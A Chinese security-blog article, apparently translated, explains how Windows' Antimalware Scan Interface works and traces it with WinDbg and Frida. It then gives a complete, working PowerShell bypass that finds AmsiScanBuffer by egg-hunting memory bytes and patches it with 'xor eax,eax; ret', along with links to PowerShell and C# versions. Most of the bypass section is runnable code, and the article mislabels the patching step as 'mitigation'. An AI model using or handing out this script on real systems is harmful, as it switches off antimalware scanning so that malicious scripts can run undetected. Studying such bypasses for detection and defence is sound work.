绕过AMSI的全套操作过程 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

绕过AMSI的全套操作过程

xiaohui web安全 2019-08-25 09:24:29
472872
收藏

导语:Windows一直是罪犯和安全研究人员钟爱的攻击目标,为了防御该系统,微软公司也在不断采用更好的防护措施 , 比如Windows 10中引入的AMSI(Antimalware Scan Interface,杀毒软件扫描接口) 工具。

360截图1633120597151115.jpg

对于经常进行渗透测试的人员来说,AMSI是再熟悉不过的事情了。

Windows一直是罪犯和安全研究人员钟爱的攻击目标,为了防御该系统,微软公司也在不断采用更好的防护措施 , 比如Windows 10中引入的AMSI(Antimalware Scan Interface,杀毒软件扫描接口) 工具。微软开发出了反恶意软件扫描接口(AMSI)工具,可以在内存中捕捉恶意脚本。任何应用程序都可以调用这个接口,任何注册反恶意软件引擎都能处理提交给AMSI的内容。Windows Defender 和AVG目前正在使用AMSI,这一接口应该被更广泛地采纳。特别是在应对PowerShell攻击的场景中,AMSI更是起到了很好的作用。

然而,AMSI并不完美,经混淆编码的脚本,或者从WMI名字空间、注册表、事件日志等非常规位置加载的脚本,就不太会被AMSI检测出来。不用powershell.exe执行(可用网络策略服务器之类的工具)的PowerShell脚本也会使AMSI失效。绕过AMSI的方法也有很多,比如修改脚本签名,使用 PowerShell ,或者禁用AMSI。

因此,AMSI是许多研究的主要目标,能够绕过AMSI可能是攻击成功与否的关键因素。这篇文章,我就为大家解释了AMSI的内部工作原理,并描述了一种新的绕过技术。

本文分为以下4部分:

1.基本的Windows内部知识(如虚拟地址空间、Windows API);

2.用于分析和反汇编程序的基本Windows调试器用法(在本文的示例中为powershell.exe);

3. Frida用于函数挂钩的基本用法;

4.PowerShell脚本的基础知识;

AMSI如何运行

如上所述,AMSI允许服务和应用程序与安装的杀毒软件进行通信。为此,AMSI要进行挂钩,例如Windows脚本主机(Windows Scripting Host ,WSH)和PowerShell,以便对正在执行的内容进行反混淆分析,该内容会被“捕获”并在执行之前被发送到杀毒软件中。

这是在Windows 10上实现AMSI的所有组件的列表:

1.用户帐户控制或UAC (EXE、COM、MSI或ActiveX安装的升级);

2.PowerShell(脚本、交互使用和动态代码评估);

3.Windows脚本主机(wscript.exe和cscript.exe);

4.JavaScript和VBScript;

5. Office VBA宏;

以下是AMSI体系结构的表示:

1.jpg

例如,在创建PowerShell进程时,AMSI动态链接库(Dynamic-Link Library, DLL)被映射到进程的虚拟地址空间,这是Windows为进程分配和提供的虚拟地址范围。DLL是一个模块,它包含可由另一个模块使用的导出和内部函数。内部函数可以从DLL中访问,导出的函数可以由其他模块访问,也可以从DLL中访问。在我们的示例中,PowerShell将使用AMSI DLL导出的函数来扫描用户输入。如果认为无害,则执行用户输入,否则将阻止执行并记录事件1116(MALWAREPROTECTION_BEHAVIOR_DETECTED)。

在PowerShell shell中尝试AMSI篡改方法时报告的事件(ID 1116)的示例:

2.jpg

请注意,AMSI不仅用于扫描脚本、代码、命令或cmdlet,还可用于扫描任何文件、内存或数据流,如字符串、即时消息、图片或视频。

枚举AMSI函数

如上所述,实现AMSI的应用程序使用AMSI导出的函数,但是使用哪些函数以及如何使用?重要的是,哪些函数负责检测,从而防止“恶意”内容执行?

使用两种方法以获得导出函数的列表,首先,可以从Microsoft文档网站找到一个基本的函数列表:

· AmsiCloseSession

· AmsiInitialize

· AmsiOpenSession

· AmsiResultsMalware

· AmsiScanBuffer

· AmsiScanString

· AmsiUninitialize

其次,利用WinDbg等软件对AMSI DLL进行调试,用于逆向工程、反汇编和动态分析。在我们的示例中,WinDbg将附加到正在运行PowerShell的进程上,以分析AMSI。

下图显示了使用WinDbg时,被导出的列表和内部AMSI函数的列表。注意,“x”命令用于检查符号。符号文件是编译程序时创建的文件。虽然程序的执行不需要这些文件,但是它们在调试过程中包含有用的信息,比如全局和局部变量以及函数名和地址。

3.jpg

虽然函数是已知的,然而,这并没有回答最重要的问题——检测和预防“恶意”内容涉及哪个函数或哪些函数?

为了回答这个问题,将使用Frida。Frida是一个用于应用程序内省和挂钩的动态工具工具包,这意味着它可以用来挂钩函数,以便分析由它们传递或返回的变量和值。

请注意,安装和解释Frida的工作方式超出了本文的范围,如需进一步了解,请点此了解。在我们的示例中,只使用“frida-trace”工具。

首先,frida-trace将附加到正在运行的PowerShell进程(左下方的shell),所有名称以“Amsi”开头的函数都将被挂起。“-P”开关用于指定进程Id,“-X”开关用于指定模块(DLL),“-i”开关用于指定函数名称,在我们的示例中代表模式。

请注意,必须使用管理员权限执行“frida-trace”(右下方的shell)。

4.jpg

现在所有这些函数都被Frida挂钩,因此可以监视PowerShell所调用的内容,例如,输入一个简单的字符串。如下所示,调用AmsiScanBuffer和AmsiOpenSession。

5.jpg

frida-trace是一个功能强大的工具,因为对于分析的每个函数,都会创建一个互补的JavaScript文件。在每个JavaScript文件中有两个函数,“onEnter”和“onLeave”。

 “onEnter”函数有三个参数:“log”、“args”和“state”,它们分别是用于向用户显示信息的函数、传递给函数的参数列表和用于函数间(inter-function )状态管理的全局对象。

“onLeave”函数有三个参数:“log”、“args”和“state”,它们分别是向用户显示信息的函数(与onEnter相同)、函数返回的值和用于函数间(inter-function )状态管理的全局对象(与onEnter相同)。

例如,Frida为AmsiScanBuffer生成的默认JavaScript文件如下:

{
	onEnter: function (log, args, state) {
	    log('AmsiScanBuffer()');
	},
	
	onLeave: function (log, retval, state) { }
}

在我们的示例中,AmsiScanBuffer和AmsiOpenSession函数的JavaScript文件都可以根据它们的函数原型进行更新,以便分析参数和返回值。函数原型或函数接口会对进入的函数进行介绍,包括函数的名称、类型签名、参数及其类型。

AmsiScanBuffer原型:

HRESULT AmsiScanBuffer(
	HAMSICONTEXT amsiContext,
	PVOID buffer,
	ULONG length,
	LPCWSTR contentName,
	HAMSISESSION amsiSession,
	AMSI_RESULT *result 
);

AmsiOpenSession原型:

HRESULT AmsiScanBuffer(
	HRESULT AmsiOpenSession(
	HAMSICONTEXT amsiContext,
	HAMSISESSION *amsiSession
);

AmsiScanBuffer JavaScript文件(_handlers__\amsi.dll\AmsiScanBuffer.js) 的更新如下:

{
	onEnter: function (log, args, state) {
	    log('[+] AmsiScanBuffer');
	    log('|- amsiContext: ' + args[0]);
	    log('|- buffer: ' + Memory.readUtf16String(args[1]));
	    log('|- length: ' + args[2]);
	    log('|- contentName: ' + args[3]);
	    log('|- amsiSession: ' + args[4]);
	    log('|- result: ' + args[5] + "\n");
	  },
	
	  onLeave: function (log, retval, state) { }
}

AmsiOpenSession JavaScript文件(_handlers__\amsi.dll\ amsiopenssession .js) 的更新如下:

{
	onEnter: function (log, args, state) {
	    log('[+] AmsiOpenSession');
	    log('|- amsiContext: ' + args[0]);
	    log('|- amsiSession: ' + args[1] + "\n");
	},
	
	onLeave: function (log, retval, state) { }
}

通过更新这些文件,现在可以更深入地了解传递给这些函数的内容。如下图所示,用户输入通过buffer变量传递给AmsiScanBuffer函数。

11.jpg

基于此分析,我们可以得出结论,AmsiScanBuffer至少是一个重要的函数,负责检测,从而防止“恶意”内容的执行。

查找函数的地址

层层推进,绕过方法现在唯一可用的函数,就剩下了AmsiScanBuffer。

在Windows系统中,Kernel32 DLL中的LoadLibrary导出函数用于将DLL加载并映射到正在运行的进程的虚拟地址空间(VAS),并返回该DLL的句柄,然后该句柄可以与其他函数一起使用。如果DLL已经在进程的VAS中映射,它在本文的示例(PowerShell在进程初始化期间加载AMSI DLL)中,则只返回一个句柄。

Windows API是一组函数和数据结构,由Windows应用程序和服务使用的不同DLL(例如Kernel32或User32)公开,以执行它们必须执行的操作(例如创建文件、打开进程或加载DLL)。

为了获得AMSI DLL的句柄,可以执行以下PowerShell脚本:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”

12.jpg

从Kernel32 DL导出的GetProcAddress函数允许从给定DLL获取导出函数或变量的句柄。在我们的示例中,这个Windows API将用于获取AmsiScanBuffer的地址或AMSI DLL中导出的任何其他函数的地址。这是Rasta Mouse最初所做的事情,然而,AmsiScanBuffer和其他字符串现在被认为是恶意的,这意味着AMSI被篡改。因此,需要另一种方法。

13.jpg

我们的想法是动态地找到AmsiScanBuffer函数的地址,而不是使用GetProcAddress函数来获取它。为此,仍然需要一个地址作为VAS的起点。此时,几乎可以使用任何不包含字符串“Amsi”的导出函数。在本文的示例中,我们选择了DllCanUnloadNow。

现在可以通过调用GetProcAddress函数来更新以前的PowerShell脚本,以便在进程的VAS中获取DllCanUnloadNow函数的地址。PowerShell脚本正在执行的操作如下所示:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

14.jpg

请注意,由于地址空间布局随机化(ASLR) ,每次系统重启时DllCanUnloadNow的地址都会有所不同。在本例中,直到重新引导系统之前,函数的地址都是“140717525833824”。ASLR是一个安全功能,它在VAS中随机分配地址,以防止内存位置泄漏。

此外,每次重启系统时,ASLR都会随机分配用户空间的基地址。

Egg hunter技术的使用

DllCanUnloadNow的地址可以被看作是进程VAS的入口点。但是如何找到AmsiScanBuffer的地址呢?

事实上,有可能通过整个VAS来寻找特定的模式,这种技术被称为“Egg Hunter”。最初,egg hunter由解析内存中的一个大区域组成,以寻找两个4字节的模式(例如w00tw00t或p4ulp4ul),但是在我们的示例中,这不是8个字节,而是24个字节,即AmsiScanBuffer函数的24个第一字节。

WinDbg软件可用于反汇编AmsiScanBuffer函数以检索函数的指令。请注意,“u”开关用于反汇编内存中的指定代码,此处为AMSI DLL中的AmsiScanBuffer。

15.jpg

如上图所示,该函数的24个第一个字节是:“0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70”。

请注意,“捕获”的顺序必须是唯一的,否则这种技术将返回一个“随机”地址,而该地址则与我们正在寻找的函数地址不一致。

因此,可以更新以前的PowerShell脚本,以便在VAS中搜索24字节的惟一序列。

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

[byte[]]$egg = [byte[]] (
    0x4C, 0x8B, 0xDC,         # mov     r11,rsp
    0x49, 0x89, 0x5B, 0x08,   # mov     qword ptr [r11+8],rbx
    0x49, 0x89, 0x6B, 0x10,   # mov     qword ptr [r11+10h],rbp
    0x49, 0x89, 0x73, 0x18,   # mov     qword ptr [r11+18h],rsi
    0x57,                     # push    rdi
    0x41, 0x56,               # push    r14
    0x41, 0x57,               # push    r15
    0x48, 0x83, 0xEC, 0x70    # sub     rsp,70h
)
[IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address $targetedAddress"

[string]$bytes = ""
[int]$i = 0
while ($i -lt $egg.Length) {
    [IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i)
    $bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " "
    $i++
}
Write-Host "[+] Bytes: $bytes"

16.jpg

来自“Hunter”类的FindAddress静态方法正在解析VAS,方法是根据传递给方法的参数中的地址进行递增,该地址是DllCanUnloadNow函数的地址。然后,该方法使用Marshal类中的ReadByte静态方法获取所提供地址的字节,并将其与要查找的序列中的字节进行比较。最后,如果找到序列,它将返回函数的地址。

如图所示,找到的字节恰好是AmsiScanbuffer函数的前24个字节,因此,使用该技术成功地动态找到了AmsiScanbuffer。

缓解措施

既然可以找到函数的地址,下一步就是修改函数的指令,以阻止对“恶意”内容的检测。

根据Microsoft文档,AmsiScanBuffer函数应该返回HRESULT,它是一个整数值,表示操作的结果或状态。在我们的示例中,如果函数值正确,函数将返回“S_OK”(0x00000000;否则将返回一个HRESULT错误代码。

这个函数的主要目的是返回要扫描的内容是否“干净”。这就是为什么“result”变量作为AmsiScanBuffer函数的参数传递。这个变量的类型是“AMSI_RESULT”,属于枚举类。

enum的原型如下:

typedef enum AMSI_RESULT {
	AMSI_RESULT_CLEAN,
	AMSI_RESULT_NOT_DETECTED,
	AMSI_RESULT_BLOCKED_BY_ADMIN_START,
	AMSI_RESULT_BLOCKED_BY_ADMIN_END,
	AMSI_RESULT_DETECTED
};

在函数执行期间,要分析的内容将被发送给杀毒软件提供商,该提供商将返回一个介于1到32762(包括)之间的整数。这个整数越大,估计的风险就越大。如果该整数大于或等于32762,则分析的内容被认为是恶意的,并被阻止运行。然后,AMSI_RESULT结果变量将根据返回的整数进行更新。

默认情况下,变量处于“干净”状态,因此,如果修改函数的指令,使其永远不会将内容发送给杀毒软件提供商,如果返回“S_OK”HRESULT,则始终认为内容是干净的。

在汇编中,EAX(32位)和RAX(64位)总是包含函数的返回值。因此,如果EAX/RAX寄存器等于0,并且执行了“ret”汇编指令,则该函数将只会返回一个“S_OK”HRSULT,而不将内容发送给杀毒软件提供商进行分析。

为此,可以使用以下汇编代码:

xor    EAX, EAX
ret

要修补AmsiScanBuffer函数,必须将第一个字节修改为“0x31 0xC0 0xC3”(上面的汇编指令的十六进制表示)。但是,在进行任何修改之前,要修改的区域必须是可读/可写的。否则,任何读或写访问都将导致访问冲突异常。要更改要修改的区域的内存保护,可以使用从Kernel32 DLL导出的VirtualProtect函数,此函数将修改指定区域的内存保护。

下面的PowerShell代码片段使用VirtualProtect调用来修改AmsiScanBuffer函数的前3个字节的内存保护。

# PAGE_READWRITE = 0x04
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

然后,可以使用“Marshal”类中的“Copy”静态方法,将给定字节复制(覆盖)到给定地址。在我们的示例中,这个静态方法将用于缓解绕过过程。

$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

最后,可以再次使用VirtualProtect函数重新初始化到原始内存保护状态。

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) |  Out-Null

通过组装所有部件,可以执行最终的PowerShell脚本,具体如下所示:

1.获取AMSI DLL的句柄;

2.获取DllCanUnloadNow函数的地址;

3.使用egg hunter技术找到AmsiScanBuffer函数的地址;

4.将修改区域改为读写;

5.应用到缓解措施;

6.将修改后的区域重新初始化为原始状态;

Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

If ([IntPtr]::Size -eq 8) {
	Write-Host "[+] 64-bits process"
    [byte[]]$egg = [byte[]] (
        0x4C, 0x8B, 0xDC,       # mov     r11,rsp
        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
        0x57,                   # push    rdi
        0x41, 0x56,             # push    r14
        0x41, 0x57,             # push    r15
        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
    )
} Else {
	Write-Host "[+] 32-bits process"
    [byte[]]$egg = [byte[]] (
        0x8B, 0xFF,             # mov     edi,edi
        0x55,                   # push    ebp
        0x8B, 0xEC,             # mov     ebp,esp
        0x83, 0xEC, 0x18,       # sub     esp,18h
        0x53,                   # push    ebx
        0x56                    # push    esi
    )
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"

$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null

$patch = [byte[]] (
    0x31, 0xC0,    # xor rax, rax
    0xC3           # ret  
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null

22.jpg

如上图所示,AMSI就被成功绕过了。

总结

该技术在以下版本的Windows上进行了测试:

AMSI_Bypass_Table_651_256_75.JPG

最终的PowerShell脚本可以在这里找到:

https://gist.github.com/amonsec/986db36000d82b39c73218facc557628

c#版本可以在这里找到:

https://gist.github.com/amonsec/854a6662f9df165789c8ed2b556e9597


  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务